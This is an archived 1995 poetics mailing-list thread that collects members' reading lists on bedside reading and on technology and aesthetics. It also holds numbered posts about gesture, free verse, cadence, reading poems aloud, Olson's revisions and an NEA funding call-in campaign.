Malloy, Judy. Its Name Was Penelope.

Marx, Leo. The Machine in the Garden: Technology and Pastoral Ideal in America.

Miller, Carolyn. "Technology as a Form of Consciousness."

Ong, Walter J. Orality and Literacy.

Orwell, George. 1984.

Perloff, Marjorie. The Futurist Moment.

Rothenberg, David. Hand's End.

Snyder, Gary. Good, Wild, Sacred.

Steinman, Lisa M., Made in America: Science, Technology, and American Modernist Poets.

Segal, Howard P. Technological Utopianism in American Culture.

Slatin, John. "Reading Hypertext: Order and Coherence in a New Medium."

Winner, Langdon. The Whale and the Reactor.

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Date: Thu, 29 Jun 1995 20:42:33 EST
From: "Burt Kimmelman [redacted]" <[redacted]> Subject: Re: bedside reading

Have you seen Ark by Ronald Johnson?

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Date: Thu, 29 Jun 1995 20:56:17 EST
From: "Burt Kimmelman [redacted]" <[redacted]>

"The Double Image" by Alan Bullock. In a book called Modernism. Ed. by Malcolm Bradbury and James McFarlane. Penguin 1976 (but still worth the read).

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Date: Fri, 30 Jun 1995 10:01:21 -0700
From: "M. Magoolaghan" <[redacted]> Subject: Re: fuzzy bedside reading logic

1) Richard Shusterman, _Pragmatist Aesthetics_, Blackwell 1992. Chap. 2 gives a concise history of the study of aesthetics that might be relevant to those involved with the thread on art & aesthetics a while back.

2) Hilary Putnam, _Realism with a Human Face_. Pragmatism in a non-Rortian/poststructuralist key.

3) Theodor Adorno, _Kierkegaard: Construction of the Aesthetic_, trans. & intro. by Robert Hullot-Kenter. Hullot-Kenter read a mind-blowing paper at BlaserFest '95 on the link between ethics & aesthetics. In view of the dominance of the market in shaping aethetic values and reception and the cancellation of the possibility of meaningful ethical reflection by pervasive multinational corporate capitalism, he asked, what's the point of beating this non-issue to death? Touche'.

4) Rod Smith's _The Boy_ & Jeff Derkson's _Dwell_ (poems).

5) Aerial 8 (fantastic issue) and Raddle Moon 13, special section on "Woman/Writing/Theory." And just in: Situation 9 (thanks Mark!).

6) Edgar O'Hara, _Cedazo Tan Chucaro_. Anyone else interested in this dynamite Peruvian poet?

7) Leslie Anne Boldt-Irons, _On Bataille: Critical Essays._

8) Don Byrd, _The Poetics of the Common Knowledge_. Indispensable wisdom.

9) Paul Fry, _A Defense of Poetry_. Possibly dispensable wisdom.

10) Robert Musil's _The Man without Qualities_. Where has this guy been all my life? A serious revelation. _Five Women_ (just finished) also amazing.

11) _The Guitar Handbook_. Oh, and if Hank Lazar can mention Coltrane as bedside reading, let me mention Mingus' _Ah hum_ and _Mingus Dynasty_, serious jazz for serious hepcats.

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Date: Fri, 30 Jun 1995 13:54:31 -0400
From: John F Roche <[redacted]> Subject: Tech and aesthetics/how to teach

I'd add Henry Adams' chapter "The Virgin and the Dynamo," from _The Education_.

Also, Dos Passos, _Manhattan Transfer_, and Tillie Olsen, _Yonnondio_.

Anything by Louis Sullivan, Frank Lloyd Wright, Lewis Mumford, or Paolo Soleri.

Critical studies include Miles Orvell, _The Real Thing_; John Kasson, _Amusing the Million: Coney Island at the Turn of the Century_; Jeffrey Meikle, _Twentieth Century Limited_; Richard G. Wilson, et. al., _The Machine Age in America_; and John Kouwenhoven's chapter on "Steel, Stone, and Jazz" in _Made in America_, Eileen Boris, _Art and Labor_; Jeanne M. Weimann, _The Fair Women_; and Alan Trachtenberg, _Brooklyn Bridge, Fact and Symbol_..

Also Chaplin's "Modern Times" and documentaries like "The City," "The River," "The Plough That Broke the Plains," and "The World of Tomorrow."

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Date: Fri, 30 Jun 1995 14:50:01 -0700
From: Shaunanne Tangney <[redacted]> Subject: Re: women & tech

Elizabeth Gaskell's _North And South_

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Date: Fri, 30 Jun 1995 18:00:37 -0700
From: Steve Carll <[redacted]>

Italo Calvino's _Cosmicomics_

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Date: Fri, 30 Jun 1995 21:05:57 EST
From: "Burt Kimmelman [redacted]" <[redacted]> Subject: Re: tech and aesthetics / how to teach?

I enthusiastically recommend for a solid intro. Walter Ong's book Orality and Literacy (re. alphabet as tech, etc.). I guess the alphabet is inevitably to be seen as a technology since it comes with writing. You might want to look at Hand's End by David Rothenberg who builds on Heidegger; R argues that language is a technology (I'm only half convinced and doubt I'll go the other half but who knows?).

Also I recommend Evelyn Fox Keller's books especially the earlier stuff though the later is more elaborated but more hastily written and thus for me not as satisfying a read. Also Marion Namenwirth's stuff. Both address women and science / women and technology mostly having to do with the way the cultures of science and tech work and showing how scientific knowledge is "skewed" by male perceptions. Very interesting and at times even exciting stuff.

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Date: Fri, 30 Jun 1995 18:31:03 -0700
From: Ron Silliman <[redacted]> Subject: Re: tech and aesthetics / how to teach?

Have there been any suggestions of books by
wwomen other than Johanna Drucker? Wouldn't it be an exciting task to imagine and teach a course on twentieth century technology and aesthetics
>using only texts by women?

Somebody mentioned Avital Ronnell and I think Stein was also cited.

I would add Donna Haraway's _Simians, Cyborgs and Women_ (her "Manifesto for Cyborgs," included here, was first published in Socialist Review). Still the best single source on "pomo" topics there is.

Anything by Sandra Harding on feminism & science would also be of value, tho she is, by nature, a more "normative" academic author. Meaghan Morris (sp?) has done work on malls that would be good to juxtapose with Baudelaire & w/ Benjamin on Baudelaire. (and, generally, I don't agree that people have gone beyond Benjamin in writing on technology, with the possible exception of Haraway. Benjamin's work has brought forth an enormous amount of deritive drivel, attempts at a politicized MacLuhanism. But it's precisely how he is NOT a MacLuhan that is of interest.

I'd add Kathy Acker and several poets whose work shows up in discussion on this list.

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Date: Sat, 1 Jul 1995 06:00:11 CST
From: Charles Alexander <[redacted]> Subject: Re: tech and aesthetics / how to teach?

Meow Press (Joel Kuszai's inventive imprint) has recently published, as a Meow Press Textbook, TECHNOLOGY/art: 20 Brief Proposals for Seminars on Art & Technology. These brief proposals were made in 1984 by a group of poets (Bruce Andrews, Charles Bernstein, and James Sherry), at the request of Jesse Ausubel, who was then Director of Programs at the National Academy of Engineering, to increase the dialogue between artists and scientists and engineers. It was this book which provoked my recent consideration of the alphabet as a technology.

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Date: Sat, 1 Jul 1995 16:35:57 -0700
From: George Bowering <[redacted]>
Subject: Re: bedside reading

Find still by my bed a recent _Review of Contemporary Fiction_ and, of course, George Stanley's _Opening Day_, which I have been reading in bed since it came out a few years ago. A book of poems anyone could benefit from rereading.

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Date: Mon, 3 Jul 1995 18:29:53 -0400
From: Tom Mandel <[redacted]>
Subject: Re: bedside reading

piles near the bed:

so many wonderful books of poetry by friends... this has been a 3 month knockout flowering whammo year for the art

Moscow Conceptualism, 1970-1990 (book upstairs, don't remember the author, alas)

Golf Digest - yes, Hank!

Levinas: In the Time of the Nations
ditto: Outside the Subject

Wm. Burroughs: Letters 1945-59

Caldera Network Desktop: Getting Started

King: Sea of Words
This is a rather sloppily confected companion to the inestimable Aubrey/Maturin novels of Patrick O'Brian. Don't waste your money, I think.

And, for my sins, I'm on a second tour of teh above-mentioned Aubrey/Maturin novels by O'Brian. Just now in the middle of _The Mauritius Command._ Anyone not having read these (now 17) books is invited to cease all other activities and really begin to enjoy life for the first time.

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Date: Tue, 4 Jul 1995 10:11:42 +0200
From: "WILLIAM M. NORTHCUTT" <[redacted]> Subject: Bedside Reading

Here's my list:

Ron Silliman, Jones
Charles Reznikoff, Collected Poems (again and again and again) John Irving, Son of the Circus
Sulfur (latest issue)
H.D., Asphodel
Pound/Lewis letters
Mark Lewisohn, The Abbey Road Recording Sessions

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Date: Tue, 4 Jul 1995 10:24:41 -0800
From: Blair Seagram <[redacted]> Subject: checking Eudora/bside reading

Re: Bside reading, there has been a lapse too long to carry on more over I am slowing, getting through Ulysses, and saw a great documentary and performance on Beckett. I have a copy of 7 Types of Ambiguity and The

Structure of Complex Words by William Empson. I look at them and they look back at me. I also have near me Blake's Poetry and Designs, a Norton Critical Anthology, which I was inspired to buy because of discussions on this list. As well Pomes All Sizes, by Kerouac, The Pocket Poets Series #48. A beautiful book I was given is The Inferno of Dante, a new verse translation by Robert Pinsky. The list continues. Many contemporary names known by the list. All this around me but I barely get to it.

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Date: Tue, 27 Jun 1995 21:57:48 -0700
From: Reginald Johanson <[redacted]> Subject: bedside reading

Next to my bed-cum-magic carpet are nothing but travel books--the good stuff, mind you:
Bruce Chatwin, "The Songlines", "What Am I Doing Here" Paul Theroux, "Paddling the Pacific"
Paul William Roberts, "A River in the Desert", "Empire of the Soul".

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Date: Wed, 28 Jun 1995 08:10:26 -0400
From: Michael Boughn <[redacted]> Subject: Re: bedside reading

> *I'm on the road (talking in LA) so my reading's what I have here: Heiner Muller, Material (just got it in German to correlated with the English texts of his I've read - his writing continues to amaze), the three new translations of Michel Serres' work (which has always affected my own), the new James Ellroy, Kroker's Spasm, and Inside the Information Super-highway, one of my course books, by Nicholas Baran, simple, up-to-date, thorough..*

==========

Date: Wed, 28 Jun 1995 11:36:23 -0400
From: Alan Sondheim <[redacted]> Subject: Re: bedside reading

The Natural Contract, Genesis, and Between Science and History w/Bruno Latour - there are also the older volumes, Detachment, Hermes, and The Parasite.

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Date: Wed, 28 Jun 1995 12:51:22 -0400
From: Lee Chapman <[redacted]>
Subject: Bedside reading

The latest pile of not-read-yets (purchased at my local Waldenbooks couple of weeks ago) includes: DISTANT RELATIONS (Carlos Fuentes) THE ALIENIST (Caleb Carr) ASPHODEL (H.D.) TRINITY FIELDS (Bradford Morrow) THE PUSHCART PRIZE '94/'95 (I actually ordered this; glad to see a story from Lucia Berlin's Black Sparrow book, SO LONG, in there; more people should know her work.) CHAIN/2 (Juliana Spahr was nice enough to send a copy; haven't had time to read much yet, but was entirely knocked out by Janet Zweig's HER RECURSIVE APOLOGY, an exercise in extremist excellence.) The list of have-reads includes: ALL ACTS ARE SIMPLY ACTS by Ed Foster (Lovely, thanks, Ed. By the way, is the new TALISMAN out? Any chance I could get a copy??) THE GEOGRAPHICS by Albert Mobilio STROMATA by David Miller BERLIN DIPTYCHON, poems by John Yau, photographs by Bill Barrette I'm in the middle of Bradford Morrow's THE ALMANAC BRANCH (whew! weird! just my style!). Like another on this list (I'm afraid I've forgotten who), I recently received a 1990 novel by one Jim Reagan (Castle King-Four) with that same cryptic note; mine reads: ....this is a peace offering made to you in the memory of (not knowing who the mentioned people are, I'll leave that out)... Never heard of any of them before either. You have to admit, though, he got our attention!

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Date: Wed, 28 Jun 1995 12:10:43 -0700
From: Lindz Williamson <[redacted]> Subject: Re: bedside reading

NExt to my lumpy futon is

Mikhial Bulgakov's The White Guard
Daphne MArletts's Ghost Works
Hyemeyohsts Storm's Lightningbolt

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Date: Wed, 28 Jun 1995 15:46:42 -0400
From: Rae Armantrout <[redacted]> Subject: Re: Bedside reading

My list isn't as long as some, but...

Alan Golding's FROM OUTLAW TO CLASSIC

Agamben's STANZAS

Messerli's GERTRUDE STEIN AWARDS FOR INNOVATIVE POETRY

Hardy's A PAIR OF BLUE EYES

I don't have the books right here so apologies if I got any titles wrong.

==========

Date: Wed, 28 Jun 1995 16:35:29 -0400
From: Jake Berry <[redacted]>
Subject: Re: Reading lists

Reading several at once as usual. And other things. 1. French Poetry 1820-1950
2. Hank Lazer - THREE OF TEN
3. Selected Poems of Stephan Mallarme
4. Complete Poems of Hart Crane
5. Fellini's 8 1/2
6. The Ellington Suites (CD)
7. Tao Magic (Calligraphy and Talismans)

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Date: Wed, 28 Jun 1995 15:08:01 -0700
From: Ryan Knighton <[redacted]>
Subject: Re: Bedside reading

New list (I love this list idea)

Bowering A Place to Die (a great spicer circle story opens this) Delilo Mao II Brautigan Willard and his Bowling Trophies (I was reading my brother's copy of The Alligator Report and wanted something in that ilk) M. Duras 2 by Duras (a wonderful wee treasure pblsht by the Coach House gooody basket) Philip K. Dick Puttering about in a Small Land (now, I'm not much of a sci fi fan, but George Stanley insisted I read this. In reture he would read Ethel Wilson's Swamp Angel. Apparently Puttering isn't as good as Scanner Darkly. Anyone read him before?)

==========

Date: Wed, 28 Jun 1995 16:24:12 -0700
From: Shaunanne Tangney <[redacted]> Subject: Re: tech and aesthetics / how to teach?

Kern's _The Culture of Time and Space_
Clarke's _Rendevouz with Rama_
John Bradley, ed. _The Atomic Ghost_ (GREAT poetry anth) Rand's _The Fountainhead_ (yeah, I know. . . but. . .) DeLillo's _Ratner's Star_
Foster's _New York by Gaslight and Other Urban Sketches_

==========

Date: Wed, 28 Jun 1995 21:58:58 -0400
From: Jim Pangborn <[redacted]> Subject: Re: tech and aesthetics / how to teach?

What a territory to cover! I'm muy jealous.

Some things you might want to look at (a very incomplete list):

Marshall Berman, _All That Is Solid Melts Into Air_ Hugh Kenner, _The Mechanic Muse_
Daniel Czitrom, _Media and the American Mind_ McLuhan, _Understanding Media_ or one of the Fiore collaborations Cecilia Tichey, _Changing Gears_
Heidegger, "The Q. Concerning T." (already suggested, here seconded despite its big-time abstruseness)
Benjamin, "On Some Motifs in Baudelaire" Sigfried Giedion, _Mechanization Takes Command_ Peter Jukes, _A Shout in the Street_
Jackson Lears, _No Place of Grace_
Marjorie Perloff, _The Futurist Moment_
Friedrich Kittler, _Discourse Networks_

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Date: Wed, 5 Jul 1995 23:35:18 -0400
From: John Fowler <[redacted]> Subject: summer reading

For summer reading you might check GRIST On-Line WWW--

http://www.phantom.com/~grist

You'll find poetry from more than 100 authors, reviews, essays, calendars of events, and some pretty interesting links as well.

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Date: Thu, 6 Jul 1995 01:52:54 -0400
From: Rod Smith <[redacted]>
Subject: Olson's mouthwash

I'm teaching an advanced poetry workshop in the fall & wld welcome any comments on collections I might use. At this point I'm thinking the Hoover _Norton Postmodern_, _In the American Tree_, _o blek 12_, & maybe _Chain 2_ or _Disembodied Poetics_.

==========

Date: Thu, 6 Jul 1995 16:43:37 +0100
From: R I Caddel <[redacted]> Subject: bedside books etc

I've enjoyed these lists, which in many cases sent me back to my own shelves - a process which throws up Feynmann (fine drummer, yes?), Chatwin's Songlines and Julian of Norwich has to be worth continuing. In my case the bedside/chairside/deskside/briefcase distinction doesn't work, because the bedside books tend to move to the breakfast table, the breakfast books come to work and so on - i.e. they all move. Which is what a good book should do... Here goes: 1. Active in Airtime 4 : latest ed, of Essex University based magazine edited by John Muckle & Ralph Hawkins. 2. Robin Blaser: The Holy Forest. 3. Ulla Dydo's Stein Reader. I needed this book years ago. 4. Ian Hamilton Finlay: Brount (Peninsula, 1995). I think this is the only bilingual English/Dutch publication I have. " : Ein Projekt fur das Bankhaus Schroder Munchmeyer Hengst & Co (Wild Hawthorn, 1995). 5. F.C.Happold: Mysticism (this penguin anthology came off the shelf when Julian was mentioned and I began a revisiting tour of the English Mystics). 6. Eric Mottram: Selected Poems (North & South). " : Blood on the Nash Ambassador (Hutchinson). 7. Michael Palmer: At Passages (Haven't got beyond the lovely Ben Watkins cover yet). 8. Terry Pratchett: Reaper Man (Arrgh! go back three spaces! this isn't the kind of book serious people are supposed to like!)(But I do - apart from anything else I like the Orang-utan Librarian, who gets paid peanuts...). 9. Micheal Tippett: Those 20th Century Blues. 10. Gilbert White's Journals v.III, ed. Mabey, found on a remainder stall.

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END OF "POETICS READING LIST JUNE 1995"

========== Kenneth Goldsmith
http://wfmu.org/~kennyg/ [redacted] [redacted]

↑ Index

114. **Steve Carll**
Re: breath rules
Sat 8 Jul 1995

Burt:

Sure, the music is poetry is an absolutely crucial part of it. All I'm trying to get at is that the visual aspect of it is crucial *too*. What about the role drama played in Greek poetry and in the poetry of the man we've come to call "The"

Bard? Certainly there's a massive visual emphasis present as well. And even before writing, what do we know about the role of gesture in language (essence or history?) Seems to me neither Ong nor Derrida (at least in _Orality and Literacy_ and _On Grammatology_) deal with the gestural component of language, and the role of the body and the eye in that, and I think it might add an interesting dimension to this debate. Anyone have any insights into this?

Sure, art creates illusion, language creates illusion, reality creates illusion too. But that's not all any of these things create, and I hope it's not the intention of art, language or reality to leave us stranded in illusion (what a bummer that would be!)

Steve

↑ Index

115. Rod Smith
Jesture
Sun 9 Jul 1995

Steve Carll,

Yes! Gesture! This has actually been the term I've been using to describe to myself recent writings of my own. It's about duration & is a quality much Zen poetry has. So, maybe, _through_ duration the graphic aspect is more, I almost want to say "powerfully" or "perfectly" inscribed-- but no, it's that the illusion (concrete &/or abstract) is more particularly revealed. The speed of it fuks up the artifice, not to remove it, but revel/reveal it as/at-- well it's actually making "the world" or the room or _something_. The mistake of any writing is the given & the procedure. The mistake is doing it, not the before or after. In recent work I think Grenier's box & Scalapino generally are operating in this area. Sometimes Howe perhaps, but in another sense, it seems more 'polished' yet it keeps that, to refer to another conversation, ability to take yr top off. & Ron S. (if you're out there, what's the role of revision in N/O? or the alphabet generally-- do you not do it?) & Carla H, & M. Neilson, you can talk abt a lot of work usefully with these terms I think, but there's danger of stretching the term too far. Raworth! Gesture that just keeps going. Makes it live. God I hardly ever use exclamation marks. I'm gonna go have a beer.

--Rod

↑ Index

116. **George Bowering**
Re: Poll: Which magazines to read?
Sun 9 Jul 1995

I couldnt get by without reading _Open Letter_, Frank Davey's venerable journal about recent poetics etc. Partly because it is one of the few places in which contemporary lit-thinking from the US and Canada (and sometimes other places) can be found and connected.

↑ Index

117. **George Bowering**
Re: EPC Magazine entries -- sample
Sun 9 Jul 1995

Forgot to put in the address for _Open Letter_ (though I expect that most subscribers to this list get it or read it.

OPEN LETTER,
499 Dufferin Ave.,
London, ON, N6B 2A1
Canada

The Spring '95 issue, foir instance, has Dennis Denisoff's article, "Merger, She Wrote: Politicubism in Gertrude Stein and Erin Moure."

↑ Index

118. **George Bowering**
Re: Offsets to the Frame
Sun 9 Jul 1995

Re Jim Rosenberg's posting:

Interesting. Somewhere Creeley admits that when he started reading WCW he tried to read it with a pause after every line, and that was the way he, Creeley, was writing; he found out that it doesnt work with WCW. As usual, the best way to test it is by listening to WCW. The new collection of readings ought to get us over the hassle of the post-stroke reading on that old Cadmon record.

↑ Index

119. **Tony Green**
Re: breathing
Sun 9 Jul 1995

have you got some more suggestions for spectaculars, Chris Scheil?

↑ Index

120. George Bowering
Re: breath rules
Sun 9 Jul 1995

Nice post from Silliman re Larry Eigner. The wonderful nouny-ness of Larry's Mass. poetry was also part;y aided by virtue of the fact that he had a towerish room with windows on all sides, so he could look at Swampscott he could not walk thru. Get it all by eye. There was an old story that when Olson was taken up the road to see Eigner, he could not handle Larry's condition and appearance. Gad, what a comparison he must have felt. Eigner's poetry, so many years of it, needs some critical work, doesnt it? Where are the young ones with energy?

↑ Index

121. Tony Green
Re: Jesture
Sun 9 Jul 1995

for Rod Smith: also Robert Grenier's pieces printed not from his typewriter but from his hand-writing -- after the box are interesting in this context

↑ Index

122. George Bowering
Re: breath rules
Sun 9 Jul 1995

"Breath sucks!"

-George Stanley

↑ Index

123. Ron Silliman
Re: Jesture
Sun 9 Jul 1995

Rod, you wrote"

& Ron S. (if you're out there, what's the role of
>revision in N/O? or the alphabet generally-- do you not do it?)

_Force_was composed almost entirely via revision. Most of the rest of the Alphabet uses it very sparingly (most finished manuscripts are 99.99 percent unrevised, but it seldom ever gets quite all the way to 100 percent--I find spelling errors or realize an inversion that would do wonderful things to the

prosody or discover I've forgotten a word). As I recall, O had a little revision in it, but N almost none whatsoever, given its methodology that anything went.

↑ Index

124. Tom Mandel
Re: Jabes query
Sun 9 Jul 1995

Graham, Cd you re-pose your query in a backchannel message to me? I seem to have lostit, but I think I may have some of the experience to give you a useful response. Unless you've already gotwhat you wanted/needed, in which case...

Tom Mandel

↑ Index

125. H. T. KIRBY-SMITH
Free Verse
Sun 9 Jul 1995

I'd like to ask some questions.

1. Is there a distinct difference, according to any criterion at all, between free verse and formal verse, or is there a spectrum ranging from most formal to most free?

2. Are there different distinguishable kinds of free verse?

3. Is free verse more visual than formal verse--does it have more spatiality, either in the imagination or on the page or both?

4. Does anyone talk about "cadence" any more?

5. Can there be a free-verse "foot" ?

I am not sure whether asking these questions is more like throwing matches into a haystack or throwing matches into a pond, but I guess I will find out.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

126. Graham John Sharpe
Re: Jabes -4Tom Mandel
Sun 9 Jul 1995

Tom, i would like to backchannel you the info because im still looking for help, but your address doesnt show - so i cant find you. the system here at simonfraser doesnt show anyones local email address. i'll provide mine below so we can try this again. looking forward to hearing from you...

graham
[redacted]

↑ Index

127. Burt Kimmelman
Re: breath rules
Sun 9 Jul 1995

Steve,

Okay, I'm convinced (especially since I'm a Paul Blackburn fan from way back, and nowadays a fan of Richard Kosetelanetz). But of course if I were to close my eyes and just listen to the Bard, I'd get something that possessed a sense of unity. On the other hand what you say has been getting me to do some serious reexaminations (timed with a piece on NPR today about a multi-sense entry at the Biennale), and you are convincing me, I'm afraid.

Help!

↑ Index

128. Tony Green
Re: Exercise(s)
Sun 9 Jul 1995

I've been "away" a lot from my machine lately found this in note-book , dated 2 July, that began with various problems to do with a narrative in progress (slow) and got round to affairs of this list, so:

```
"        reverse thinking :
                 is a good EXERCISE
        but it is like EXERCISES
     not the performance itself
   unless it is an end in itself
  to improve one's aerobic capacities   "
```

even chance activities do not escape the Rules governing the Space of production or performance (set by the owners of spaces) and also the "scene" of writing for the writer is another hidden determinant

(there was more, but there's something missing from the scribbled entry and the above is a gist)
in a back-channel re-exercises or experiments for writers
to Charles Bernstein some
moons ago I suggested that

the rules governing cut-up and chance procedures with appropriated texts were applicable ONLY to the texts in hand and were not generalizable to all and any occasions (certainly my experience with that), so that "exercises and experiments" or "rehearsals" as they seemed were in practice "performances" the categories merge

are Chopin Studies "exercises"? or J.S.Bach Inventions or B Bartok Mikrokosmos?

[Emptying note-book on to screen for list...may be useful to someone ?]

↑ Index

129. Lindz Williamson
Re: Free Verse
Sun 9 Jul 1995

To the question:

Does anyone talk about "cadence" any more?

I'd say yes in the realm of open mike readings the rising of voice and meter is essential in claiming the ear of your audience. It is more difficult to achieve on the page, but thrilling when heard by the author in a live reading. Personally I use cadence often when doing a reading; I find using a breathless voice that allows the words to tumble out of my mouth and land in a hurried jumble builds anticipation and appreciation for the softer slow phonetic sounds that I like to end with, however the trick is to still be understood and interpreted by the audience. This takes great skill that I haven;t quite mastered. Verse form doesn't matter so much as cadence is purely a live thing. How to read a poem is purely subjective in my mind. After hearing tapes of Tennyson read it has greatly affected the way I read him now.

Lindz

↑ Index

130. Charles Alexander
Re: Free Verse
Sun 9 Jul 1995

Regarding Lindz's belief that "Verse form doesn't matter so much as cadence is purely a live thing. How to read a poem is purely subjective in my mind."

The live utterance can certainly put its stamp on cadence, but the language used has something to do with it as well. I know that in years when I was teaching, reading Emily Dickinson aloud was useful, but it was meant to bring the written magic out, not to inject something that wasn't really there at all in the writing. So, no, cadence is not "purely a live thing." Reading a poem is also not purely subjective, although it may be subjective within limits established by the language of the poem.

As to your description, Lindz, of your own readings, are you talking about a voicing of the words entirely disassociated from the writing, or are the "words that tumble out of [the] mouth and land in a hurried jumble" and the "softer slower phonetic sounds" represented in the language as written. If not, I don't see why they can't be. The language is capable of accomplishing such acts, written or voiced. Hearing it is something else, and we're (the big WE of culture) not teaching that very well, I don't think.

It would be useful to know, from those of you who teach poetry, what percentage of time you take in your classes to read poems aloud, and to have students read poems aloud. Sounds terribly simple, but I always found it to be perhaps the most useful thing to do, at any level in the educational experience.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

131. Tony Green
Re: Free Verse
Sun 9 Jul 1995

re Charles Alexander's post. I've only "taught poetry" a couple of times, but agree that reading aloud is rather important. Otherwise I would be puzzled how to begin, when the poem says something, but not very much, and too little when compared with someone actually doing a performance of it (reciting/reading). Hearing Robert Creeley sounding entirely like Robert

Creeley, reading William Carlos Williams a couple of weeks back gave me a lot of what I took to be the pleasure of Williams poem. It was nice to hear Creeley enjoy it, and that enjoyment was what got me going: (to hell with the old subjective/objective talk). I guess an accomplished practitioner of poetry can hear someone else's poem move off the page and into the air, as they'd like their own to do. Anything else interesting is the talk generated by the reading and hearing it. I can't believe in an interpretative attempt on painting/sculpture etc that doesn't stem from a performance of "looking", or music crit that has not been listening. The effort, and it is a big effort of attention, is one of the important things that makes any art-writing live. So if, as Charles says, this is not much done (hard to believe people on this list don't do it!), something could be wrong with teaching somewhere. [Sure it's a hobby-horse and I've said this before in similar circumstances, for which I don't apologise.] writing

↑ Index

132. George Bowering
Re: Free Verse
Sun 9 Jul 1995

I use a lot of cadence too. Just about every time I do a reading I fall down.

↑ Index

133. George Bowering
Re: Free Verse
Sun 9 Jul 1995

Sure, there can be a free verse foot. In fact there cannot not be. A foot is any principal stress with any number (say from 0 to 4) of secondary etc stresses. Or in quantity the equivalent. Just walk while you're reading the poem. It wasnt called an "elbow."

↑ Index

134. Steve Evans
LitNet Call-In Day Defending NEA
Mon 10 Jul 1995

Dear Friends:

I am writing to all of you who helped with *Freely Espousing* in the first months of 1995 with some information that I hope you will consider acting on.

LitNet, the advocacy organization that has been struggling these past months (and years) to preserve federal arts funding for the writing community, has

announced a Congressional call-in day on Tuesday, 11 July. The goal of the action is to ensure that a Senate reauthorization bill (S.856), scheduled for mark-up in the Committee on Labor & Human Relations sometime this week, not be crippled by amendments that would adversely affect literature.

Although the bill is not ideal, its current form does allow for individual writers and literary publishers and organizations to apply for federal grants; budgetary reductions are set at 2% per year over five years. (As most of you know,this is a much less draconian vision of the NEA's future than the one recently articulated in the House.)

LitNet recommends the following specific messages:

1) If you live in Indiana, Kansas, Michigan, Missouri, New Hampshire, Ohio, Tennessee or Vermont, consider using the following argument:

I am a resident of your state and a member of the Literary Network. I'm calling to ask you to support a reauthorization bill for the National Endowment for the Arts that does *not* increase the amount of money already allocated to the state arts agencies. Literature is a uniquely national art form--sending more money to the states would effectively eliminate the NEA literature program. Also, please support federal funding for direct grants to individual writers and grants that require small arts organizations (such as non-profit publishers and literary centers) to raise only 1:1 matching funds. Thank you for your time and attention.

2) If you live in New Mexico or Oregon:

I am a resident of your state and a member of the Literary Network. I'm calling to ask you to support as large an appropriation as possible for the National Endowment for the Arts in FY96. Also, please support an appropriations bill that *does not* increase allocations to the state arts agencies and that *does* continue to fund fellowships for individual writers and grants to small arts organizations such as non-profit publishers and literary centers. Thank you for your time and attention.

3) If you live in Washington, Senator Gorton is a member of both committees. Please tell him you wish to leave two messages and then tell him (1) and (2) above.

If you can't call on Tuesday, call on Monday or Wednesday. If you have friends living in any of the mentioned states, please take five minutes and contact them about this very important effort.

Finally, Anne Burt can only hone LitNet's efficacy if she knows what people out there are doing: call her at [redacted] and let her know what action you have taken, or fax her at [redacted].

==========For Your Reference==========

Selected Members of the Senate Labor & Human Resources Committee and the Senate Approproations Committee

Nancy Landon Kassebaum (Kansas), [redacted]
James M. Jeffords (Vermont), [redacted]
Dan Coats (Indiana), [redacted]
Judd Gregg (New Hampshire), [redacted]
Bill Frist (Tennessee), [redacted]
Mike DeWine (Ohio), [redacted]
John Ashcroft (Missouri), [redacted]
Spencer Abraham (Michigan), [redacted]
Slade Gorton (Washington), [redacted]
Mark Hatfield (Oregon), [redacted]
Pete Domenici (New Mexico), [redacted]

↑ Index

135. George Bowering
Re: Free Verse
Mon 10 Jul 1995

I could not imagine teaching a poetry course without reading the poems aloud (as well as using tapes etc, such as the CD-ROM of "Poetry in Motion"), but more important, reading the poems aloud. It would be like teaching an art course without looking at any paintings etc.

↑ Index

136. Donald J. Byrd
Re: Olson's revisions
Mon 10 Jul 1995

Ron Silliman:

Olson was actually a heavy reviser, though to be sure there are passages in which he seems to be saying "first thought, best thought."

I did a lot of work in the Archive at Connecticut when it was still very primitively cataloged, and I would find a manuscript of this or that poem, and I point it out to George Butterick who would say, "Oh, yes, there are alot of those."

Olson would completely re-copy or "re-vision" poems-- often changing only a few words or line breaks, etc.

Later he did not so much revise as throw away. Poems begin on whatever piece of paper at hand and frequently end with increasingly illegible scribbles. It appears that the more or less completed poems (always a question, of course, what is complete?) did get written straight through, but sometimes after several stabs.

You could say that he didn't revise much, but he wrote many poems that were very similar to one another.

Don Byrd

↑ Index

137. Lindz Williamson
Re: Free Verse
Mon 10 Jul 1995

Charles wrote:

As to your description, Lindz, of your own readings, are you talking about a voicing of the words entirely disassociated from the writing, or are the "words that tumble out of [the] mouth and land in a hurried jumble" and the "softer slower phonetic sounds" represented in the language as written. If not, I don't see why they can't be. The language is capable of accomplishing such acts, written or voiced. Hearing it is something else, and we're (the big WE of culture) not teaching that very well, I don't think.

I agree that the initial play is in the writing of the poem, but a certain life comes from the skill of the reader. It's partciallly the personal aspect that is added, the intimacy of the poet reading. But I often think I'd like to hire and direct an actor to read my poems, because I can't always present them in the exact way I see them in my head or on the page. I also found when friends share poems and read each other's works aloud two very different products emerge. In live reading I have two goals. First,I like to make poetry less a part of myself and more of a moment, a dramatic experience rather than a revelations of myself. I think the page is something we can hide behind as writers. Symbols on a page conveying images of thoughts and moments that have already past. Live readings alter this perception as they audience thinks they are witnessing the exposure of the poet. Which isn't necessarily true, but an excellent form of manipulation by the poet. Second, how to read a poem must be taught, and among my non-post secondary educated friends written works do not reach them. Yet bring them to a live experience and they are transformed. I try to include them in my writing. I take the skills I have learned in my education and apply them in a form that they will understand and enjoy. Poems were never read aloud in my experience until I took a 3rd year English course that surveyed 20th century lit. My prof did an amazing reading

of Plath's "Daddy", now that is cadence in action. Most of my profs were too shy to read aloud to the class.

Lindz

↑ Index

138. Rod Smith
new Stein
Mon 10 Jul 1995

Johns Hopkins has just reprinted _The Geographical History of America_ pb. $14.95. The full title is _The Geographical History of America or the Relation of Human Nature to the Human Mind_. As many know, this is the text which includes the line "I am I because my little dog knows me." Also Dalkey Archive will be reprinting _The Making of Americans_ in the fall. I think just a re-shoot of the Something Else edition, all those mistakes we know & love will remain.

Also, let me encourage people to pick up Joan Retallack's _Afterrimages_ recently published by Wesleyan (pb. $12.95).
We need to send the right message when an established press does a _living_ "experimental" (the following should be bold)
writer.

Support independent booksellers.
Go to Barnes & Noble last, please.

--Rod Smith

↑ Index

139. Ron Silliman
Job
Mon 10 Jul 1995

